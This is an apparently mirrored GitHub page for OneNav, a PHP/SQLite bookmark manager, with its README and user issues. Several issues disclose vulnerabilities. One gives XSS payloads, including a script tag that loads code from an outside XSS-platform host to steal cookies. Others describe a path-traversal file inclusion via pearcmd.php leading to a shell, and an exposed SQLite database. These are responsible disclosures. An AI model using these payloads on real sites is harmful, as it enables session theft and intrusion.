Giter VIP home page Giter VIP logo

onenav's Introduction

OneNav

中文 | English


OneNav是一款开源免费的书签(导航)管理程序,使用使用PHP + SQLite 3开发,界面简洁,安装简单,使用方便。OneNav可帮助你将浏览器书签集中式管理,解决跨设备、跨平台、跨浏览器之间同步和访问困难问题,做到一处部署,随处访问。

特别声明:未经作者允许,请勿将OneNav进行获利行为或进行商业行为,亦不得用于非法用途,否则自行承担相应法律责任!!!

功能特色

  • 支持后台管理
  • 支持私有链接
  • 支持Chrome/Firefox/Edge书签批量导入
  • 支持多种主题风格
  • 支持链接信息自动识别
  • 支持API
  • 支持Docker部署
  • 支持uTools插件
  • 支持二级分类
  • 支持Chromium内核的浏览器扩展(插件)
  • 支持在线更新
  • 手机版后台

安装

常规安装:

  1. 需安装PHP环境,并确保支持SQLite3
  2. 下载源码解压到站点根目录
  3. 访问首页根据提示初始化用户名/密码
  4. 访问后台:http://IP/index.php?c=login

Docker部署:

docker run -itd --name="onenav" -p 80:80 \
    -v /data/onenav:/data/wwwroot/default/data \
    helloz/onenav:0.9.34
  • 第一个80是自定义访问端口,可以自行修改,第二个80是容器端口,请勿修改
  • /data/onenav:本机挂载目录,用于持久存储Onenav数据
  • 0.9.34:改成OneNav最新版本号,可以通过releases查看最新版本号

更多说明,请参考帮助文档:https://dwz.ovh/onenav

Demo


以下是OneNav部分用户演示站,排名不分先后。

OneNav交流群

鸣谢

感谢@百素/@itushan的代码贡献及主题开发,以及其它OneNav贡献者和使用者,名字太多无法一一列举,还请谅解。

OneNav诞生离不开以下项目,在此表示感谢(排名不分先后)。

onenav's People

Contributors

helloxz avatar snowdream1985 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

onenav's Issues

更改favicon为本地

代码中的获取不了,自己在网上找了方法修改了一下。
源码 https://github.com/owen0o0/getFavicon

效果 https://www.daohangweb.com

在模版index.php中找到如下代码:
<img src="https://favicon.rss.ink/v1/<?php echo base64($link['url']); ?>" alt="HUAN" width="16" height="16" /> 修改成 <img src="/favicon/<?php echo $link['url']; ?>" alt="HUAN" width="16" height="16" />
另外也建议把一些在线的css文件都改成本。

arm64 docker部署helloz/onenav:dev-0.9.13报错

2022/02/15 22:47:45 [alert] 13#13: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

2022/02/15 22:47:45 [alert] 12#12: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

2022/02/15 22:47:45 [alert] 14#14: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

2022/02/15 22:47:45 [alert] 16#16: setrlimit(RLIMIT_NOFILE, 100000) failed (1: Operation not permitted)

非根目录

不是根目录无法登录,有谁知道怎么解决吗?

OneNav's add link function exists xss vul

add link function path
image
input xss payload 1 :"><script>alert("XSS")</script>
image
click 添加 button
image
alert xss success
input xss payload 2:<sCRiPt sRC=//xss.pt/NZ9j></sCrIpT>
image
Get user cookie success

Trying to get in touch regarding a security issue

Hey there!

I'd like to report a security issue but cannot find contact instructions on your repository.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

莫名奇妙的cookie问题

该网页无法正常运作guangsudalao.ga
将您重定向的次数过多。
尝试清除 Cookie.
ERR_TOO_MANY_REDIRECTS

问题是我也没有禁止Cookie啊
从安装到现在才开始出现的问题
1
2
3

夜间模式支持

考虑夜间模式支持不?尤其手机模式下,晚上用比较扎眼:)

列表界面可以记录本地的设置参数

比如我设置了一页显示50条,但是切几个页面,回来发现没有用,设置又恢复到了原来的系统默认。
如果可以记录一下我的设置就好了,哪怕是本地的缓存也行啊

OneNav has directory traversal with file inclusion that can lead to Getshell

漏洞简介 Vulnerability Introduction

由于index.php存在拼接且未经过滤的可控参数文件包含,可以进行路径穿越包含php原生pearcmd.php导致写入恶意文件Getshell。

Due to the inclusion of spliced and unfiltered controllable parameter files in index.php, path traversal can be performed to include php native pearcmd.php resulting in the writing of the malicious file getshell.

V0.9.13 分类图标异常的修复方案

修复方案:
编辑/class/Api.php 如图所示,去除name的htmlspecialchars转换,并保存
搜索 htmlspecialchars($name,ENT_QUOTES)
提替换为 $name
重新添加分类或者进入编辑重新保存!
注:作者应该是想防止XSS加的代码

或者在主题模板添加相应的解码函数.
文件 /templates/default/index.php
搜索 <?php echo $category['name']; ?>
替换为<?php echo htmlspecialchars_decode($category['name']); ?>
如果有其他主题,都需要修改一遍!

分类图标

前台分类前面的图标是在哪里设置的?

项目无法在网站非根目录下运行的问题

针对这个项目无法在网站非根目录下运行的问题,我大致上阅读了一遍你的项目代码,然后做出了相应改动,我在本地以及部署到服务器上测试过,均可以正常运行(不过对于部署在子目录的用户,可能需要更改一下项目.htaccess内的配置),你可以阅读一下这些改动,如果有问题的话可以留言,不过我不常上GitHub,如果想快速联系到我,可以给我发邮件(2291200076 at qq.com)感觉你这个项目还是挺实用的,希望能看到这个项目变得越来越好,继续加油!

以下是一些改动:

移动端无法看到登陆入口

如题,只有手动加上index.php?c=login才能登陆,并且登陆之后,菜单挤在一起了,难以点回首页
设备是ip12pm

chrome扩展快捷键搜索、添加书签

很多场景下是在搜索书签,不知Onenav书签扩展可否实现类似Vimium快捷键功能,通过快捷键Shift+B快速搜索书签,如果有的话将会非常方便

希望能加个暗色模式

现在已经做的很好了,就差个暗色模式(自动切换和手动切换按钮),现在晚上用太刺眼了

一些建议..

1.能否增加多用户支持.以这种方式呈现.http://host/user1
2.能否支持拖拽排序...好像已经有人提过了
3.能否出个完整版的..即js.css等资源本地化.配置文件可以自定义静态资源的路径
4.能否支持下图标缓存..书签一多加载图标都要好久
5.支持非根目录运行..子目录无法运行..

部署在阿里云虚拟主机上无法使用

部署在阿里云虚拟主机,看起来链接跳转有点问题,貌似是不支持.htacess文件。
现象是一直跳转到初始化设置密码页面。类似这样 xxx.com/?username=q&password=q&password2=q
我的部署方法是直接下载文件,解压上传到ftp
能否考虑设置在这种场景下,使用完整的url

disclosure of information about sqlite

disclosure of information about sqlite

I download this cms and i first install it .

a_20210804164034

index.php:

if( !file_exists('./data/config.php') ) {
	exit('<h3>配置文件不存在,请将站点目录下的config.simple.php复制为data/config.php</h3>');
}
//检查数据库是否存在,不存在则复制数据库
if( !file_exists('./data/onenav.db3') ) {
	copy('db/onenav.simple.db3','data/onenav.db3');
	// copy('db/.htaccess','data/.htaccess');
}

//载入配置文件
require("./data/config.php");

//根据不同的请求载入不同的方法
//如果没有请求控制器
if((!isset($c)) || ($c == '')){
	//载入主页
    include_once("./controller/index.php");
    
}

else{
	include_once("./controller/".$c.'.php');
}

bug code :

if( !file_exists('./data/onenav.db3') ) {
	copy('db/onenav.simple.db3','data/onenav.db3');

then i try to require "./data/onenav.db3" and "/data/.htaccess" http response status 200

it means i can download onenav.db3 and
a0

can gets some privacy information

you can add some random code to document name or sqlite database name .

this cms has many users.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.